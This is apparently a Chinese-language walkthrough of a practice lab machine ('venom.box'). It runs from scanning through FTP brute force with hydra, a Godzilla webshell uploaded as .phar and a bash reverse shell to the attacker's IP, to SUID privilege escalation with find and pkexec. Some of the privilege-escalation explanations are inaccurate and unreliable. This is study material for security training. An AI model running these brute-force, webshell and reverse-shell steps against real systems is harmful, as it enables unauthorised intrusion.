靶机信息
靶机IP:192.168.13.141
kali:192.168.13.130
收集信息
Nmap 扫描
得到几个开放的端口,存在 ftp 服务,以及 80,和 443 的 web 服务。还有 7070,8084 两个关闭的端口。
Web 收集
访问网站 80 端口,得到 Apache Ubuntu 的默认页面,尝试使用gobuster寻找目录。
执行
gobuster dir -u http://192.168.13.141 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 512 -q
没有扫出来任何东西。
尝试查看网站源码,发现类似于密文的东西。
尝试使用hashid,得到的结果大概率是 MD5。尝试使用 hashcat 爆破,无果,直接找了个在线 md5 解密,直接出了,你说这你受得了么。
使用enum4linux对靶机进行扫描,发现没有任何有用的信息,尝试直接访问 ftp 服务。
ftp 192.168.13.141
hostinger
发现用户名存在,尝试获取密码。
使用cewl生成字典文件并使用hydra进行爆破。
cewl http://192.168.13.141/ -w pass.txt
hydra -l hostinger -P pass.txt -t 5 -vV -o ve.txt -e ns 192.168.13.141 ftp
这里最邪门的还是这个hydra的参数问题,我一开始尝试什么都没加,然后跑不出密码,抄了人家的加上了中间那几个参数,突然就行了,组合出了一个我完全没写的密码,真邪门。
渗透
FTP 渗透
如上,我们成功连接上了FTP服务器,然后找找有用的东西。
如上,发现一个hint.txt文件,下载之后打开发现
emm,很像是 base 加密后的产物,尝试 base 解码。
是一个三层 base64 加密,解密后得到了一串字符
standard vigenere cipher
然后把另一半也解密一下。
得到https://cryptii.com/pipes/vigenere-cipher没错,他告诉我们应该将hostinger扔进标准维吉尼亚密码并且贴心的给了我们一个解密的网址。
哦,我会错意了,他的意思是把hostinger作为 key,然后去把底下给的 password 那串密文L7f9l8@J#p%Ue+Q1234给破解了。
最后得到密码E7r9t8@Q#h%Hy+M1234,然后按照提示修改 host 文件,使靶机 IP 对应venom.box。
Web 渗透
然后再次访问网址 http://venom.box。
找到一个 CMS,基于这个 CMS 建立的网站,上网查找这个 CMS 有没有什么漏洞。
找到这个 CMS 在4.2.1版本之前存在一个任意文件上传漏洞。
使用nikto扫描到了后台界面的目录
尝试访问出现了登录界面
想起刚才破解的 dora 以及他的密码,尝试使用这个账户登录。
成功以管理员身份进入后台,想起刚才找到的文件上传漏洞,尝试寻找上传点。
找到博客上传界面,可以携带附件,疑似上传点。
以前一直使用的是 msf,这次想尝试一下哥斯拉。
突然发现这个界面只允许链接图片这种上传方式,在网上找到了新的注入点,upload目录。
使用哥斯拉生成一个 webshell,
并保存至本地,然后重命名后缀为.phar上传。
然后使用哥斯拉连接。
切记 url 处需要填写的是域名而不是 ip,不然访问不到这个目录。
进入之后进行内网渗透。
内网渗透
寻找用户信息
因为我们现在的用户是网站目录的用户www-data,他的权限是很低的,所以我们需要去寻找别的用户。
通过 backup 目录的.htaccess文件发现了一段信息,
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
哥斯拉这个 shell 看着实在伤眼睛,我还是反弹一个吧
bash -c "bash -i >& /dev/tcp/192.168.13.130/7777 0>&1"
拿到不稳定的 shell,然后进行稳定 shell 的惯用步骤。
python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm-256color
stty rows 24 columns 125
Ctrl + z
stty raw -echo;fg
两下回车
此时的 shell 就是一个可交互且不担心随时可能挂掉的 shell 了。
切换成之前拿到信息的hostinger用户。思考刚才得到的那串字符有啥用
询问 AI 得知 linux 系统一般会将 UID 的 0-999 留给系统账户,具体来说
1.0-999 范围内的 UID 通常被系统保留,用于系统账户、伪用户等。比如:
- 0 为 root 超级用户
- 1-99 为已保留或伪用户,如 daemon、bin、sys 等
- 100-999 留作将来的系统账户使用
2.1000 及以上为普通用户账户的 UID 范围,其中:
- 1000-60000 为大多数 Linux 发行版默认分配的 UID 范围
- 60001-65535 为某些较老的 Unix 系统曾使用的 UID 范围
3.不同 Linux 发行版默认的起始 UID 略有差异,如:
- RHEL/CentOS/Fedora从1000开始
- Debian 从 1000 开始
- Ubuntu 从 1000 开始
- openSUSE 从 1000 开始
- Arch Linux 默认从 1000 开始,也可配置如 999 之类的值
4.UID 值是唯一的,不能在同一系统中重复分配。
5.可以通过修改/etc/login.defs 或编辑工具更改默认 UID 范围。
所以寻找普通用户就在 1000-60000 之间寻找即可。
回到刚才的/etc/passwd文件,可以看到存在
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
hostinger:x:1002:1002:,,,:/home/hostinger:/bin/bash
所以我没办法,只能猜一下那段字符串估计是nathan的密码。
尝试切用户过去su nathan
可以,很顺利。
提权
然后查看这个用户的权限,执行sudo -l。
可以看到它拥有以 root 权限执行除了 su 的权限,这就足矣。
使用 find 命令查询具有 root 权限的文件。执行
find / -perm -4000 -type f 2>/dev/null
#find / 这部分告诉find命令从根目录/开始查找。
#-perm -4000 这个选项指定我们要查找的文件的权限掩码为4000。在Linux的权限模型中,权限掩码4000表示SUID(Set User ID)权限位被设置。
#-type f 这个选项限制只查找文件类型(f)为普通文件。
#2>/dev/null 这部分将标准错误重定向到/dev/null黑洞,从而隐藏任何错误输出。
很明显,这是一个寻找SUID提权的命令。
我们看到了很多熟悉的身影,find,pkexec。
然后去查询这些文件SUID提权的方式
find 提权
find 程序在某些旧版本中存在着设计缺陷,当使用 -executable 参数时,它会以查找路径的所有者权限执行 -exec 选项后指定的命令。因此,如果在系统中存在 SUID find,并且目标路径被普通用户拥有,就可以利用这个缺陷获取高权限 shell。
touch /tmp/privsc
chmod 777 /tmp/privsc
/usr/bin/find /tmp -executable -exec /bin/sh \;
# 获取 root shell
如上,使用find的 SUID 提权成功。
tips:
-exec选项用于在find找到匹配的文件后执行特定的命令或操作。该选项需要指定一个命令参数及一个结束标记,通常是\;或+。
pkexec 提权
pkexec 是 Linux 下的一个 SUID 程序,用于通过 polkit 框架提权执行命令。但在较早版本中,pkexec 存在缺陷,可以直接绕过认证获取 root shell。
sudo pkexec /bin/sh
# 获取 root shell


























